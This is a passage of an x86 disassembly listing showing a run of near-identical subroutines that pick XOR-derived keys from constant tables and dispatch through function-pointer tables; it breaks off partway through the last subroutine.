mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A4D86
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A4D86: ; CODE XREF: sub_4A4CF5+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A4CF5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A4DF2 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED8A4o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 5Dh
mov [ebp+var_2C], 0Eh
mov [ebp+var_28], 86h
mov [ebp+var_24], 0F8h
mov [ebp+var_20], 7Ah
mov [ebp+var_1C], 74h
mov [ebp+var_18], 0A3h
mov [ebp+var_14], 0C0h
mov [ebp+var_10], 8
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 8
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A4E83
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A4E83: ; CODE XREF: sub_4A4DF2+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A4DF2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A4EEF proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED8A8o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 0C3h
mov [ebp+var_2C], 0CDh
mov [ebp+var_28], 91h
mov [ebp+var_24], 0Eh
mov [ebp+var_20], 9Eh
mov [ebp+var_1C], 0BFh
mov [ebp+var_18], 95h
mov [ebp+var_14], 37h
mov [ebp+var_10], 2
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 2
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A4F80
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A4F80: ; CODE XREF: sub_4A4EEF+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A4EEF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A4FEC proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED8ACo
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 61h
mov [ebp+var_2C], 0D0h
mov [ebp+var_28], 6Bh
mov [ebp+var_24], 6Ah
mov [ebp+var_20], 40h
mov [ebp+var_1C], 0A8h
mov [ebp+var_18], 45h
mov [ebp+var_14], 0AAh
mov [ebp+var_10], 0Eh
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 0Eh
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A507D
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A507D: ; CODE XREF: sub_4A4FEC+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A4FEC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A50E9 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED8B0o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 0EAh
mov [ebp+var_2C], 0D6h
mov [ebp+var_28], 3Eh
mov [ebp+var_24], 1Ch
mov [ebp+var_20], 57h
mov [ebp+var_1C], 17h
mov [ebp+var_18], 87h
mov [ebp+var_14], 75h
mov [ebp+var_10], 9
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 9
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A517A
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A517A: ; CODE XREF: sub_4A50E9+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A50E9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A51E6 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED8B4o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 65h
mov [ebp+var_2C], 0A6h
mov [ebp+var_28], 0BDh
mov [ebp+var_24], 0DEh
mov [ebp+var_20], 12h
mov [ebp+var_1C], 0F0h
mov [ebp+var_18], 0D6h
mov [ebp+var_14], 66h
mov [ebp+var_10], 0Fh
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 0Fh
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A5277
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A5277: ; CODE XREF: sub_4A51E6+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A51E6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A52E3 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED8B8o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 15h
mov [ebp+var_2C], 7Bh
mov [ebp+var_28], 2Fh
mov [ebp+var_24], 7Fh
mov [ebp+var_20], 45h
mov [ebp+var_1C], 0DBh
mov [ebp+var_18], 15h
mov [ebp+var_14], 56h
mov [ebp+var_10], 6
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 6
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A5374
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A5374: ; CODE XREF: sub_4A52E3+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A52E3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A53E0 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED8BCo
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 7Eh
mov [ebp+var_2C], 61h
mov [ebp+var_28], 0F3h
mov [ebp+var_24], 0C9h
mov [ebp+var_20], 0A2h
mov [ebp+var_1C], 0ECh
mov [ebp+var_18], 5Eh
mov [ebp+var_14], 9Dh
mov [ebp+var_10], 7
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 7
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A5471
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A5471: ; CODE XREF: sub_4A53E0+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A53E0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A54DD proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED8C0o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 0BAh
mov [ebp+var_2C], 37h
mov [ebp+var_28], 0B0h
mov [ebp+var_24], 0ACh
mov [ebp+var_20], 91h
mov [ebp+var_1C], 0
mov [ebp+var_18], 20h
mov [ebp+var_14], 87h
mov [ebp+var_10], 13h
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 13h
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A556E
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A556E: ; CODE XREF: sub_4A54DD+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A54DD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A55DA proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED8C4o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 55h
mov [ebp+var_2C], 78h
mov [ebp+var_28], 9Bh
mov [ebp+var_24], 2Bh
mov [ebp+var_20], 0DDh
mov [ebp+var_1C], 0EAh
mov [ebp+var_18], 52h
mov [ebp+var_14], 57h
mov [ebp+var_10], 4
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 4
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A566B
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A566B: ; CODE XREF: sub_4A55DA+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A55DA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A56D7 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED8C8o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 7
mov [ebp+var_2C], 0B5h
mov [ebp+var_28], 0F1h
mov [ebp+var_24], 12h
mov [ebp+var_20], 0F4h
mov [ebp+var_1C], 57h
mov [ebp+var_18], 4Dh
mov [ebp+var_14], 0EFh
mov [ebp+var_10], 10h
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 10h
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A5768
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A5768: ; CODE XREF: sub_4A56D7+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A56D7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A57D4 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED8CCo
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 0A7h
mov [ebp+var_2C], 8Eh
mov [ebp+var_28], 0B9h
mov [ebp+var_24], 25h
mov [ebp+var_20], 7Eh
mov [ebp+var_1C], 0C1h
mov [ebp+var_18], 88h
mov [ebp+var_14], 0F2h
mov [ebp+var_10], 1
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 1
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A5864
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A5864: ; CODE XREF: sub_4A57D4+7Dj
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A57D4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A58D0 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED8D0o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 38h
mov [ebp+var_2C], 0E9h
mov [ebp+var_28], 46h
mov [ebp+var_24], 0B2h
mov [ebp+var_20], 0B5h
mov [ebp+var_1C], 48h
